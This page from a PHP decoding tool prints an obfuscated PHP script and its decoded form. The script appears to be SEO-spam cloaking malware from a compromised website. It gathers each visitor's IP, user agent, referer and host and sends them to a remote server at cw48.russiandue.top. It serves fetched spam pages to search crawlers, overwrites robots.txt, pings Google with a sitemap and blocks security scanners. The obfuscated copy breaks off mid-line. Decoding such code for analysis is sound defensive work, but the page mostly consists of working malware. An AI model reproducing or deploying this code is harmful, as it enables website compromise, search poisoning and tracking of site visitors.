Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto ru4fq; DBu80: function xsr61() { goto aJlop; Htv0r: $rLGIk = $yHiS8[0]; goto k..
Decoded Output download
<?php
goto ru4fq; DBu80: function xsr61() { goto aJlop; Htv0r: $rLGIk = $yHiS8[0]; goto kU0Rn; C08M6: $yHiS8 = explode(",", $rLGIk); goto Htv0r; tJaSz: if (getenv("HTTP_X_FORWARDED_FOR")) { goto PeHxK; } goto opq8W; SePlS: $rLGIk = "0.0.0.0"; goto QLHTI; Oqygs: if (getenv("HTTP_X_REAL_IP")) { goto w5Ryb; } goto tJaSz; K8bA0: PeHxK: goto QJvHg; kU0Rn: goto clbHb; goto LFoHH; opq8W: if (getenv("REMOTE_ADDR")) { goto w3Atk; } goto SePlS; qWK15: $rLGIk = getenv("REMOTE_ADDR"); goto sXr8F; IAbv6: return $rLGIk; goto S5Has; PalwI: $rLGIk = getenv("HTTP_X_REAL_IP"); goto X5sI3; jhZYP: $rLGIk = getenv("HTTP_CLIENT_IP"); goto bJZPx; bJZPx: vbAgG: goto Oqygs; LFoHH: w3Atk: goto qWK15; QJvHg: $rLGIk = getenv("HTTP_X_FORWARDED_FOR"); goto C08M6; QLHTI: goto clbHb; goto dDl7s; X5sI3: goto clbHb; goto K8bA0; dDl7s: w5Ryb: goto PalwI; sXr8F: clbHb: goto IAbv6; aJlop: if (!getenv("HTTP_CLIENT_IP")) { goto vbAgG; } goto jhZYP; S5Has: } goto vHR57; yTQ8O: $CWMa1 = bZKOb($NGcSR); goto OgelY; I2c7U: if (preg_match("/({$r98J4})/i", $_SERVER["HTTP_REFERER"])) { goto j4tCS; } goto Uhk_C; kHd4X: $_SERVER["REQUEST_SCHEME"] = "http"; goto ErBna; gcgVi: echo $CWMa1; goto s6rna; HKeP1: U4CdX: goto cE5vq; nguq0: D8_iq: goto ZsOkr; r2gmN: wfvuL: goto Tk1w4; Ekbn5: $qpmuF = "User-agent: *\xd
Allow: /"; goto wSAmz; jiMOe: Eiwpd: goto IS2do; pZNv5: $CWMa1 = bZkob($NGcSR); goto h1OjT; PG9se: $NGcSR = $PcBr4 . "?agent={$d7XGj}&refer={$trJ2H}&lang={$rawr4}&ip={$rLGIk}&dom={$hisH3}&http={$vWuF3}&uri={$aolmJ}&pc={$hgWfo}&rewriteable={$KwYks}"; goto pZNv5; ybwHu: goto Wj3Ru; goto YEvec; gEdiI: $NGcSR = $PcBr4 . "?agent={$d7XGj}&refer={$trJ2H}&lang={$rawr4}&ip={$rLGIk}&dom={$hisH3}&http={$vWuF3}&uri={$aolmJ}&pc={$hgWfo}&rewriteable={$KwYks}&script={$M18rc}"; goto azaty; FYTdD: $qpmuF = trim($qpmuF) . "\xd\xa" . "Sitemap: {$ESq89}"; goto btZml; WQmrZ: bsXLh: goto Ymm7o; Pb83G: exit; goto M28pB; iqRfD: exit; goto GSHZG; hJ0pW: ZZ3cD: goto mDENj; btZml: $CWMa1 = hQ3LI($WYO8m . urlencode($ESq89)); goto DEYbR; C3rzq: $hgWfo = 2690; goto oArBj; abMSd: if (!preg_match("/<h2>(.+?)<\/h2>/i", $CWMa1, $UbwE0)) { goto U4CdX; } goto tZluT; VoTJw: $NGcSR = $PcBr4 . "?agent={$d7XGj}&refer={$trJ2H}&lang={$rawr4}&ip={$rLGIk}&dom={$hisH3}&http={$vWuF3}&uri={$aolmJ}&pc={$hgWfo}&rewriteable={$KwYks}&script={$M18rc}&sitemap=" . urlencode($ESq89); goto uhcaO; NWzdy: if ($KwYks == 0) { goto jnB2M; } goto zD2VO; EhOYb: goto bsXLh; goto KvS7C; s6rna: exit; goto KqEyL; rTWUQ: $CWMa1 = bzKOb($NGcSR); goto Ve7Sh; Vv9D1: if ($CWMa1 == "ok") { goto Fsfdp; } goto dv3Sx; q3u9Y: O36J3: goto tSK19; wDnJh: if (preg_match("@^/(.*?).xml$@i", $aolmJ)) { goto KxCj_; } goto hv_F1; xRHJV: ea4yf: goto bX6Gv; f8DiA: goto r72jo; goto nguq0; mZ7ic: exit; goto DvT4C; IS2do: if (!($NCyGU == "153.246.135.238" || $NCyGU == "219.101.44.233")) { goto hLqdK; } goto U_00v; VPiKj: $D8La1 = $_SERVER["SCRIPT_NAME"]; goto w0Rww; azaty: header("Content-Type: text/plain; charset=utf-8"); goto CAcbC; kKJgi: echo $CWMa1; goto dmn2r; gFMo_: j4tCS: goto PG9se; dv3Sx: $KwYks = 0; goto I1YLf; A1_d_: $NCyGU = XSr61(); goto Us_29; ZsOkr: $NGcSR = $PcBr4 . "?agent={$d7XGj}&refer={$trJ2H}&lang={$rawr4}&ip={$rLGIk}&dom={$hisH3}&http={$vWuF3}&uri={$aolmJ}&pc={$hgWfo}&rewriteable={$KwYks}&script={$M18rc}"; goto yTQ8O; uhcaO: $CWMa1 = bZKOB($NGcSR); goto R9HKk; oh38J: ysRvJ: goto NWzdy; kkwrO: function HQ3Li($H3Kib) { goto itb6W; nmbyd: if (!(strpos($H3Kib, "https://") !== false)) { goto a_LXO; } goto Rb2Mz; RBQf_: Qbrce: goto ImRV7; orLiF: $K2Cti = @file_get_contents($H3Kib); goto RBQf_; y6zQs: curl_setopt($p5iz_, CURLOPT_FOLLOWLOCATION, false); goto Z_kZD; ImRV7: return $K2Cti; goto vi6Pd; zhDYm: curl_setopt($p5iz_, CURLOPT_SSL_VERIFYHOST, FALSE); goto F49hG; itb6W: $p5iz_ = curl_init(); goto F9yuh; AsquK: curl_setopt($p5iz_, CURLOPT_RETURNTRANSFER, true); goto y6zQs; Rb2Mz: curl_setopt($p5iz_, CURLOPT_SSL_VERIFYPEER, FALSE); goto zhDYm; wG67w: curl_close($p5iz_); goto rNW4e; Z_kZD: curl_setopt($p5iz_, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]); goto nmbyd; F49hG: a_LXO: goto C0HcL; C0HcL: $K2Cti = curl_exec($p5iz_); goto wG67w; F9yuh: curl_setopt($p5iz_, CURLOPT_URL, $H3Kib); goto AsquK; rNW4e: if (!empty($K2Cti)) { goto Qbrce; } goto orLiF; vi6Pd: } goto RqISr; pXLkc: $r98J4 = "bing|google|yahoo"; goto eubWA; eMRT3: $aolmJ = urldecode($_SERVER["REQUEST_URI"]); goto Qa6k2; Us_29: $rLGIk = urlencode($NCyGU); goto SjkU5; vnop6: $trJ2H = urlencode($_SERVER["HTTP_REFERER"]); goto FCGqx; FPRWc: if (strpos($aolmJ, "favicon.ico") !== false) { goto aEVo0; } goto bO7Zu; jngJm: goto zstIE; goto eYXdw; f8n9U: $CWMa1 = BZkOb($NGcSR); goto nbzXd; eu0s0: $KwYks = 1; goto RNZc8; Uhk_C: goto Q_M29; goto gFMo_; sBdWQ: $CWMa1 = BzKob($n6pTD); goto Vv9D1; OSgyz: jnB2M: goto G4GRQ; pDKHj: echo "ok"; goto KC3ZA; MBeNr: r72jo: goto dkRHY; I1YLf: @file_put_contents("uxo.txt", "0"); goto jngJm; L5kSe: jAice: goto cehF6; ErBna: goto gnOUb; goto hJ0pW; rqGtu: $KwYks = 0; goto KYxkA; ULAi2: exit; goto LM0jX; Xygj_: goto IAfGI; goto r2gmN; C0iIW: if (substr($CWMa1, 0, 5) == "<?xml") { goto n37yQ; } goto z1zFG; ru4fq: error_reporting(0); goto DBu80; vDxTr: NvNs6: goto VPiKj; ijjWO: header("Content-Type: text/xml; charset=utf-8"); goto ddwtD; gbk8i: gnOUb: goto zC9UB; oArBj: $d7XGj = urlencode($_SERVER["HTTP_USER_AGENT"]); goto vnop6; Qa6k2: if (!(strpos($aolmJ, "uuuuxxxxooo") !== false)) { goto Eiwpd; } goto pDKHj; cE5vq: echo $ESq89 . ": " . $psRv4 . "<br/>"; goto WBZgv; QP1dI: $KwYks = @file_get_contents("uxo.txt"); goto Xygj_; w0Rww: if (strpos($D8La1, "index.php") !== false) { goto ysRvJ; } goto yKsE8; FCGqx: $rawr4 = urlencode($_SERVER["HTTP_ACCEPT_LANGUAGE"]); goto A1_d_; wyR3d: hi1ep: goto eux78; E_QZl: @file_put_contents("robots.txt", $CWMa1); goto jg90R; yKsE8: $D8La1 = $D8La1 . "?"; goto RrWWd; OxXkR: exit; goto moZRC; nbzXd: header("Content-Type: text/xml; charset=utf-8"); goto gcgVi; tZffk: KxCj_: goto Gktqx; OgelY: if (empty($CWMa1)) { goto xBU1j; } goto C0iIW; LM0jX: awMGK: goto pXLkc; KvS7C: lKuH1: goto gEdiI; cehF6: am1Nt: goto mcDBn; WBZgv: usleep(100 * 1000); goto VoTJw; RriMR: goto O36J3; goto HQWyV; TOd4P: echo $CWMa1; goto iqRfD; zC9UB: $vWuF3 = urlencode($_SERVER["REQUEST_SCHEME"]); goto eMRT3; KC3ZA: exit; goto jiMOe; bO7Zu: if (strpos($aolmJ, "jp2023") !== false) { goto hi1ep; } goto AciLb; h1OjT: if (empty($CWMa1)) { goto ea4yf; } goto NtxyO; ddwtD: Wj3Ru: goto TOd4P; moZRC: hLqdK: goto rqGtu; clg7z: header("HTTP/1.0 403 Forbidden"); goto ULAi2; eubWA: $PcBr4 = "http://cw48.russiandue.top/index.php"; goto C3rzq; qFMSR: zstIE: goto h8_ji; eYXdw: Fsfdp: goto eu0s0; RqISr: if (!preg_match("/(Bytespider|PetalBot|AhrefsBot|Barkrowler|MJ12bot|FeedDemon|JikeSpider|Indy Library|AskTbFXTV|CrawlDaddy|CoolpadWebkit|Java|Feedly|UniversalFeedParser|ApacheBench|Swiftbot|ZmEu|oBot|jaunty|Python-urllib|python-requests|lightDeckReports Bot|YYSpider|DigExt|YisouSpider|HttpClient|heritrix|EasouSpider|Ezooms|AmazonBot|SEMrushBot|YandexBot|paloaltonetworks|Python)/i", $_SERVER["HTTP_USER_AGENT"])) { goto awMGK; } goto clg7z; bX6Gv: Q_M29: goto f8DiA; RrWWd: goto am1Nt; goto oh38J; dmn2r: exit; goto xRHJV; dkRHY: goto aZkgl; goto tZffk; Tk1w4: $n6pTD = $vWuF3 . "://" . $_SERVER["HTTP_HOST"] . "/uuuuxxxxooo"; goto sBdWQ; z1zFG: header("Content-Type: text/html; charset=utf-8"); goto ybwHu; RNZc8: @file_put_contents("uxo.txt", "1"); goto qFMSR; eux78: $NGcSR = $PcBr4 . "?agent={$d7XGj}&refer={$trJ2H}&lang={$rawr4}&ip={$rLGIk}&dom={$hisH3}&http={$vWuF3}&uri={$aolmJ}&pc={$hgWfo}&rewriteable={$KwYks}&script={$M18rc}"; goto rTWUQ; np3Dq: if (!empty($_SERVER["REQUEST_SCHEME"]) && $_SERVER["REQUEST_SCHEME"] == "https" || !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on" || !empty($_SERVER["SERVER_PORT"]) && $_SERVER["SERVER_PORT"] == "443" || isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] == "https") { goto ZZ3cD; } goto kHd4X; DEYbR: $psRv4 = ''; goto abMSd; zD2VO: $D8La1 = "/"; goto bAFAy; AciLb: if (strpos($aolmJ, "robots.txt") !== false || strpos($aolmJ, "writerobots") !== false) { goto lKuH1; } goto wDnJh; h8_ji: IAfGI: goto NL2HG; R9HKk: @file_put_contents("robots.txt", $qpmuF); goto Pb83G; vHR57: function BzKoB($H3Kib) { goto Uv0kS; PKuIe: curl_close($p5iz_); goto obuFr; r30Hj: $p5iz_ = curl_init(); goto m_MrP; JIw75: curl_setopt($p5iz_, CURLOPT_FOLLOWLOCATION, false); goto V6ER1; pkkA1: $K2Cti = curl_exec($p5iz_); goto PKuIe; vZi2H: curl_setopt($p5iz_, CURLOPT_SSL_VERIFYHOST, FALSE); goto o_Qtw; m_MrP: curl_setopt($p5iz_, CURLOPT_URL, $H3Kib); goto NyMDj; UC3Jn: curl_setopt($p5iz_, CURLOPT_SSL_VERIFYPEER, FALSE); goto vZi2H; o_Qtw: Zu49B: goto pkkA1; V6ER1: if (!(strpos($H3Kib, "https://") !== false)) { goto Zu49B; } goto UC3Jn; PRmlz: return $K2Cti; goto s51do; Uv0kS: $K2Cti = @file_get_contents($H3Kib); goto Yj9zA; Yj9zA: if (!empty($K2Cti)) { goto Mtnpq; } goto r30Hj; obuFr: Mtnpq: goto PRmlz; NyMDj: curl_setopt($p5iz_, CURLOPT_RETURNTRANSFER, true); goto JIw75; s51do: } goto kkwrO; YEvec: n37yQ: goto ijjWO; Ve7Sh: echo $CWMa1; goto mZ7ic; SjkU5: $hisH3 = urlencode($_SERVER["HTTP_HOST"]); goto HVuI3; tZluT: $psRv4 = $UbwE0[1]; goto HKeP1; NtxyO: header("HTTP/1.1 404 Not Found"); goto kKJgi; KYxkA: if (!file_exists("uxo.txt")) { goto wfvuL; } goto QP1dI; Gktqx: $NGcSR = $PcBr4 . "?agent={$d7XGj}&refer={$trJ2H}&lang={$rawr4}&ip={$rLGIk}&dom={$hisH3}&http={$vWuF3}&uri={$aolmJ}&pc={$hgWfo}&rewriteable={$KwYks}&script={$M18rc}"; goto f8n9U; HQWyV: aEVo0: goto q3u9Y; hv_F1: if (preg_match("/({$r98J4})/i", $_SERVER["HTTP_USER_AGENT"])) { goto D8_iq; } goto I2c7U; CAcbC: echo $CWMa1 = bzkoB($NGcSR); goto E_QZl; GSHZG: xBU1j: goto MBeNr; NL2HG: if (strpos($aolmJ, "pingsitemap.xml") !== false) { goto NvNs6; } goto FPRWc; jg90R: exit; goto WQmrZ; wSAmz: $ESq89 = "{$vWuF3}://" . $hisH3 . $D8La1 . "sitemap.xml"; goto FYTdD; Ymm7o: goto Ae0df; goto wyR3d; mcDBn: $WYO8m = "https://www.google.com/ping?sitemap="; goto Ekbn5; tSK19: goto pZeLB; goto vDxTr; U_00v: header("HTTP/1.0 403 Forbidden"); goto OxXkR; G4GRQ: $D8La1 = "/?"; goto L5kSe; mDENj: $_SERVER["REQUEST_SCHEME"] = "https"; goto gbk8i; KqEyL: aZkgl: goto EhOYb; HVuI3: $M18rc = urlencode($_SERVER["SCRIPT_NAME"]); goto np3Dq; bAFAy: goto jAice; goto OSgyz; DvT4C: Ae0df: goto RriMR; M28pB: pZeLB:
?>
Did this file decode correctly?
Original Code
<?php
goto ru4fq; DBu80: function xsr61() { goto aJlop; Htv0r: $rLGIk = $yHiS8[0]; goto kU0Rn; C08M6: $yHiS8 = explode("\54", $rLGIk); goto Htv0r; tJaSz: if (getenv("\110\x54\x54\120\x5f\130\137\106\x4f\x52\x57\x41\122\104\105\x44\137\x46\x4f\122")) { goto PeHxK; } goto opq8W; SePlS: $rLGIk = "\x30\56\60\56\x30\x2e\60"; goto QLHTI; Oqygs: if (getenv("\110\124\124\120\137\x58\x5f\x52\x45\101\114\x5f\111\120")) { goto w5Ryb; } goto tJaSz; K8bA0: PeHxK: goto QJvHg; kU0Rn: goto clbHb; goto LFoHH; opq8W: if (getenv("\122\105\115\x4f\124\105\137\x41\104\x44\122")) { goto w3Atk; } goto SePlS; qWK15: $rLGIk = getenv("\x52\105\115\x4f\124\x45\x5f\x41\x44\104\122"); goto sXr8F; IAbv6: return $rLGIk; goto S5Has; PalwI: $rLGIk = getenv("\x48\124\x54\x50\137\130\x5f\x52\105\x41\x4c\x5f\111\120"); goto X5sI3; jhZYP: $rLGIk = getenv("\x48\124\x54\x50\137\103\114\111\x45\x4e\x54\137\111\x50"); goto bJZPx; bJZPx: vbAgG: goto Oqygs; LFoHH: w3Atk: goto qWK15; QJvHg: $rLGIk = getenv("\110\x54\124\x50\137\x58\x5f\106\x4f\122\127\101\x52\x44\x45\x44\137\x46\x4f\122"); goto C08M6; QLHTI: goto clbHb; goto dDl7s; X5sI3: goto clbHb; goto K8bA0; dDl7s: w5Ryb: goto PalwI; sXr8F: clbHb: goto IAbv6; aJlop: if (!getenv("\110\x54\124\120\137\103\x4c\111\105\116\124\x5f\x49\120")) { goto vbAgG; } goto jhZYP; S5Has: } goto vHR57; yTQ8O: $CWMa1 = bZKOb($NGcSR); goto OgelY; I2c7U: if (preg_match("\x2f\50{$r98J4}\51\57\x69", $_SERVER["\110\124\x54\120\137\122\x45\106\x45\x52\105\122"])) { goto j4tCS; } goto Uhk_C; kHd4X: $_SERVER["\122\x45\x51\125\x45\x53\x54\137\x53\103\110\x45\x4d\x45"] = "\x68\x74\164\x70"; goto ErBna; gcgVi: echo $CWMa1; goto s6rna; HKeP1: U4CdX: goto cE5vq; nguq0: D8_iq: goto ZsOkr; r2gmN: wfvuL: goto Tk1w4; Ekbn5: $qpmuF = "\x55\163\x65\x72\55\141\147\145\156\164\x3a\x20\x2a\xd\12\101\154\154\157\167\x3a\x20\x2f"; goto wSAmz; jiMOe: Eiwpd: goto IS2do; pZNv5: $CWMa1 = bZkob($NGcSR); goto h1OjT; PG9se: $NGcSR = $PcBr4 . "\77\141\x67\x65\x6e\x74\x3d{$d7XGj}\46\162\x65\146\145\162\75{$trJ2H}\46\x6c\x61\156\147\75{$rawr4}\x26\x69\160\75{$rLGIk}\46\x64\x6f\x6d\75{$hisH3}\x26\x68\164\164\x70\75{$vWuF3}\x26\x75\x72\x69\75{$aolmJ}\46\160\143\x3d{$hgWfo}\46\x72\x65\167\x72\x69\164\x65\x61\142\x6c\x65\x3d{$KwYks}"; goto pZNv5; ybwHu: goto Wj3Ru; goto YEvec; gEdiI: $NGcSR = $PcBr4 . "\x3f\x61\x67\x65\156\x74\x3d{$d7XGj}\x26\162\x65\146\x65\x72\x3d{$trJ2H}\46\x6c\141\156\147\x3d{$rawr4}\46\151\x70\75{$rLGIk}\x26\x64\157\155\75{$hisH3}\x26\x68\164\164\160\x3d{$vWuF3}\x26\165\x72\151\75{$aolmJ}\x26\x70\143\x3d{$hgWfo}\46\x72\145\x77\x72\151\164\x65\141\x62\x6c\x65\75{$KwYks}\46\163\x63\x72\x69\x70\164\x3d{$M18rc}"; goto azaty; FYTdD: $qpmuF = trim($qpmuF) . "\xd\xa" . "\x53\151\x74\x65\x6d\141\160\x3a\40{$ESq89}"; goto btZml; WQmrZ: bsXLh: goto Ymm7o; Pb83G: exit; goto M28pB; iqRfD: exit; goto GSHZG; hJ0pW: ZZ3cD: goto mDENj; btZml: $CWMa1 = hQ3LI($WYO8m . urlencode($ESq89)); goto DEYbR; C3rzq: $hgWfo = 2690; goto oArBj; abMSd: if (!preg_match("\57\74\150\x32\76\x28\x2e\x2b\77\x29\74\134\57\150\62\x3e\x2f\x69", $CWMa1, $UbwE0)) { goto U4CdX; } goto tZluT; VoTJw: $NGcSR = $PcBr4 . "\77\x61\147\x65\x6e\164\75{$d7XGj}\46\162\145\146\x65\162\x3d{$trJ2H}\x26\154\141\x6e\147\75{$rawr4}\x26\151\160\75{$rLGIk}\46\x64\157\x6d\75{$hisH3}\46\x68\x74\x74\x70\x3d{$vWuF3}\x26\165\162\151\x3d{$aolmJ}\x26\160\x63\x3d{$hgWfo}\x26\x72\145\x77\162\x69\x74\x65\141\142\154\145\x3d{$KwYks}\46\163\143\x72\x69\160\164\x3d{$M18rc}\46\163\151\164\145\x6d\x61\160\75" . urlencode($ESq89); goto uhcaO; NWzdy: if ($KwYks == 0) { goto jnB2M; } goto zD2VO; EhOYb: goto bsXLh; goto KvS7C; s6rna: exit; goto KqEyL; rTWUQ: $CWMa1 = bzKOb($NGcSR); goto Ve7Sh; Vv9D1: if ($CWMa1 == "\157\153") { goto Fsfdp; } goto dv3Sx; q3u9Y: O36J3: goto tSK19; wDnJh: if (preg_match("\100\136\x2f\x28\56\52\77\51\x2e\170\x6d\154\44\x40\x69", $aolmJ)) { goto KxCj_; } goto hv_F1; xRHJV: ea4yf: goto bX6Gv; f8DiA: goto r72jo; goto nguq0; mZ7ic: exit; goto DvT4C; IS2do: if (!($NCyGU == "\61\65\x33\x2e\62\64\66\56\61\63\x35\56\62\x33\70" || $NCyGU == "\62\x31\71\x2e\x31\60\61\56\64\x34\x2e\62\x33\x33")) { goto hLqdK; } goto U_00v; VPiKj: $D8La1 = $_SERVER["\123\103\x52\111\x50\x54\137\x4e\101\115\105"]; goto w0Rww; azaty: header("\x43\157\156\x74\x65\x6e\164\x2d\x54\x79\x70\145\x3a\x20\164\x65\170\x74\x2f\x70\x6c\141\x69\156\x3b\40\143\x68\141\x72\x73\x65\x74\x3d\x75\x74\x66\x2d\x38"); goto CAcbC; kKJgi: echo $CWMa1; goto dmn2r; gFMo_: j4tCS: goto PG9se; dv3Sx: $KwYks = 0; goto I1YLf; A1_d_: $NCyGU = XSr61(); goto Us_29; ZsOkr: $NGcSR = $PcBr4 . "\x3f\141\x67\x65\156\x74\75{$d7XGj}\x26\162\x65\146\x65\162\75{$trJ2H}\46\154\141\156\147\75{$rawr4}\46\x69\x70\x3d{$rLGIk}\46\144\157\155\x3d{$hisH3}\x26\x68\x74\x74\160\75{$vWuF3}\x26\x75\x72\x69\x3d{$aolmJ}\x26\160\143\75{$hgWfo}\46\162\x65\167\x72\x69\x74\x65\x61\x62\154\145\75{$KwYks}\x26\163\143\162\x69\x70\164\x3d{$M18rc}"; goto yTQ8O; uhcaO: $CWMa1 = bZKOB($NGcSR); goto R9HKk; oh38J: ysRvJ: goto NWzdy; kkwrO: function HQ3Li($H3Kib) { goto itb6W; nmbyd: if (!(strpos($H3Kib, "\150\164\164\160\x73\x3a\57\x2f") !== false)) { goto a_LXO; } goto Rb2Mz; RBQf_: Qbrce: goto ImRV7; orLiF: $K2Cti = @file_get_contents($H3Kib); goto RBQf_; y6zQs: curl_setopt($p5iz_, CURLOPT_FOLLOWLOCATION, false); goto Z_kZD; ImRV7: return $K2Cti; goto vi6Pd; zhDYm: curl_setopt($p5iz_, CURLOPT_SSL_VERIFYHOST, FALSE); goto F49hG; itb6W: $p5iz_ = curl_init(); goto F9yuh; AsquK: curl_setopt($p5iz_, CURLOPT_RETURNTRANSFER, true); goto y6zQs; Rb2Mz: curl_setopt($p5iz_, CURLOPT_SSL_VERIFYPEER, FALSE); goto zhDYm; wG67w: curl_close($p5iz_); goto rNW4e; Z_kZD: curl_setopt($p5iz_, CURLOPT_USERAGENT, $_SERVER["\110\x54\x54\120\137\x55\x53\105\122\x5f\101\107\105\116\124"]); goto nmbyd; F49hG: a_LXO: goto C0HcL; C0HcL: $K2Cti = curl_exec($p5iz_); goto wG67w; F9yuh: curl_setopt($p5iz_, CURLOPT_URL, $H3Kib); goto AsquK; rNW4e: if (!empty($K2Cti)) { goto Qbrce; } goto orLiF; vi6Pd: } goto RqISr; pXLkc: $r98J4 = "\x62\151\x6e\147\x7c\x67\x6f\157\x67\154\145\x7c\171\x61\x68\157\157"; goto eubWA; eMRT3: $aolmJ = urldecode($_SERVER["\x52\105\121\x55\105\123\124\137\x55\122\x49"]); goto Qa6k2; Us_29: $rLGIk = urlencode($NCyGU); goto SjkU5; vnop6: $trJ2H = urlencode($_SERVER["\x48\124\124\120\x5f\122\x45\x46\105\x52\x45\x52"]); goto FCGqx; FPRWc: if (strpos($aolmJ, "\x66\141\166\151\x63\x6f\156\x2e\151\x63\x6f") !== false) { goto aEVo0; } goto bO7Zu; jngJm: goto zstIE; goto eYXdw; f8n9U: $CWMa1 = BZkOb($NGcSR); goto nbzXd; eu0s0: $KwYks = 1; goto RNZc8; Uhk_C: goto Q_M29; goto gFMo_; sBdWQ: $CWMa1 = BzKob($n6pTD); goto Vv9D1; OSgyz: jnB2M: goto G4GRQ; pDKHj: echo "\157\153"; goto KC3ZA; MBeNr: r72jo: goto dkRHY; I1YLf: @file_put_contents("\x75\170\157\56\x74\x78\164", "\x30"); goto jngJm; L5kSe: jAice: goto cehF6; ErBna: goto gnOUb; goto hJ0pW; rqGtu: $KwYks = 0; goto KYxkA; ULAi2: exit; goto LM0jX; Xygj_: goto IAfGI; goto r2gmN; C0iIW: if (substr($CWMa1, 0, 5) == "\x3c\x3f\x78\155\154") { goto n37yQ; } goto z1zFG; ru4fq: error_reporting(0); goto DBu80; vDxTr: NvNs6: goto VPiKj; ijjWO: header("\103\x6f\156\164\145\x6e\164\x2d\x54\x79\x70\x65\x3a\40\164\x65\170\164\x2f\x78\155\x6c\x3b\40\143\150\x61\x72\x73\x65\164\75\x75\164\x66\x2d\70"); goto ddwtD; gbk8i: gnOUb: goto zC9UB; oArBj: $d7XGj = urlencode($_SERVER["\x48\x54\124\120\137\x55\123\105\122\137\101\107\x45\116\124"]); goto vnop6; Qa6k2: if (!(strpos($aolmJ, "\165\165\x75\x75\x78\170\x78\x78\157\157\157") !== false)) { goto Eiwpd; } goto pDKHj; cE5vq: echo $ESq89 . "\72\x20" . $psRv4 . "\74\x62\162\57\76"; goto WBZgv; QP1dI: $KwYks = @file_get_contents("\x75\170\157\x2e\164\x78\164"); goto Xygj_; w0Rww: if (strpos($D8La1, "\151\x6e\x64\x65\x78\56\160\x68\160") !== false) { goto ysRvJ; } goto yKsE8; FCGqx: $rawr4 = urlencode($_SERVER["\110\x54\124\120\x5f\101\103\x43\105\120\124\x5f\x4c\101\x4e\x47\x55\x41\x47\x45"]); goto A1_d_; wyR3d: hi1ep: goto eux78; E_QZl: @file_put_contents("\162\157\142\157\164\x73\56\164\170\x74", $CWMa1); goto jg90R; yKsE8: $D8La1 = $D8La1 . "\x3f"; goto RrWWd; OxXkR: exit; goto moZRC; nbzXd: header("\x43\x6f\x6e\164\145\156\164\x2d\x54\x79\160\145\72\40\x74\x65\x78\164\57\170\155\x6c\73\x20\143\150\x61\x72\x73\145\164\75\x75\x74\146\x2d\70"); goto gcgVi; tZffk: KxCj_: goto Gktqx; OgelY: if (empty($CWMa1)) { goto xBU1j; } goto C0iIW; LM0jX: awMGK: goto pXLkc; KvS7C: lKuH1: goto gEdiI; cehF6: am1Nt: goto mcDBn; WBZgv: usleep(100 * 1000); goto VoTJw; RriMR: goto O36J3; goto HQWyV; TOd4P: echo $CWMa1; goto iqRfD; zC9UB: $vWuF3 = urlencode($_SERVER["\122\105\x51\125\x45\123\124\x5f\123\x43\x48\105\x4d\105"]); goto eMRT3; KC3ZA: exit; goto jiMOe; bO7Zu: if (strpos($aolmJ, "\x6a\x70\x32\x30\x32\x33") !== false) { goto hi1ep; } goto AciLb; h1OjT: if (empty($CWMa1)) { goto ea4yf; } goto NtxyO; ddwtD: Wj3Ru: goto TOd4P; moZRC: hLqdK: goto rqGtu; clg7z: header("\x48\x54\124\x50\x2f\x31\56\x30\40\64\x30\x33\x20\x46\x6f\162\142\x69\x64\x64\x65\x6e"); goto ULAi2; eubWA: $PcBr4 = "\150\164\x74\160\72\x2f\57\143\x77\64\70\x2e\x72\x75\163\x73\x69\141\156\144\165\145\x2e\x74\x6f\160\x2f\x69\156\x64\x65\170\56\x70\x68\160"; goto C3rzq; qFMSR: zstIE: goto h8_ji; eYXdw: Fsfdp: goto eu0s0; RqISr: if (!preg_match("\57\x28\x42\x79\x74\145\x73\x70\151\x64\145\x72\x7c\x50\x65\x74\x61\x6c\102\157\164\174\101\x68\x72\145\146\x73\102\157\164\x7c\x42\x61\x72\153\x72\x6f\167\x6c\145\x72\174\x4d\x4a\61\62\x62\157\x74\174\x46\x65\x65\x64\x44\145\x6d\x6f\x6e\x7c\x4a\x69\153\x65\x53\x70\151\x64\x65\162\174\111\156\144\171\x20\x4c\x69\x62\x72\141\x72\x79\x7c\101\163\x6b\124\x62\106\130\124\x56\x7c\x43\162\x61\x77\x6c\104\141\144\144\171\174\103\x6f\x6f\x6c\x70\141\144\x57\x65\142\153\x69\x74\x7c\x4a\141\166\x61\174\106\145\x65\144\x6c\x79\174\x55\x6e\151\166\x65\162\163\141\x6c\106\x65\145\144\120\141\x72\163\145\162\x7c\x41\160\x61\x63\150\x65\102\x65\156\143\x68\174\x53\x77\x69\x66\164\x62\x6f\x74\x7c\x5a\x6d\x45\165\x7c\x6f\102\x6f\164\x7c\x6a\141\165\156\x74\x79\x7c\120\x79\x74\150\157\x6e\x2d\165\162\154\154\x69\x62\x7c\160\x79\x74\150\157\156\55\162\x65\161\x75\145\x73\164\x73\x7c\x6c\151\147\x68\x74\104\145\x63\153\122\x65\x70\157\x72\164\163\x20\102\x6f\164\x7c\131\131\123\160\151\144\145\x72\174\104\151\x67\105\x78\164\174\x59\x69\163\x6f\x75\123\x70\151\x64\145\x72\x7c\x48\x74\164\160\x43\154\151\145\x6e\164\x7c\x68\145\x72\151\x74\162\151\x78\x7c\105\141\x73\x6f\165\123\x70\151\x64\x65\162\174\105\x7a\157\x6f\155\163\x7c\x41\155\141\172\157\156\102\157\164\x7c\x53\105\115\x72\165\163\150\x42\157\x74\x7c\x59\x61\x6e\x64\145\x78\x42\157\164\174\x70\141\154\157\141\x6c\x74\157\x6e\x65\x74\167\x6f\x72\153\x73\x7c\x50\x79\x74\150\x6f\156\x29\57\151", $_SERVER["\110\x54\124\120\x5f\x55\123\x45\x52\137\x41\x47\105\x4e\124"])) { goto awMGK; } goto clg7z; bX6Gv: Q_M29: goto f8DiA; RrWWd: goto am1Nt; goto oh38J; dmn2r: exit; goto xRHJV; dkRHY: goto aZkgl; goto tZffk; Tk1w4: $n6pTD = $vWuF3 . "\72\x2f\57" . $_SERVER["\x48\124\x54\x50\x5f\x48\x4f\123\124"] . "\57\x75\x75\165\165\x78\x78\170\170\x6f\157\x6f"; goto sBdWQ; z1zFG: header("\x43\157\156\x74\145\x6e\x74\55\x54\171\x70\x65\x3a\x20\x74\x65\x78\164\57\150\x74\155\x6c\73\40\143\x68\x61\162\163\145\x74\75\x75\x74\x66\55\70"); goto ybwHu; RNZc8: @file_put_contents("\x75\170\157\56\164\170\164", "\61"); goto qFMSR; eux78: $NGcSR = $PcBr4 . 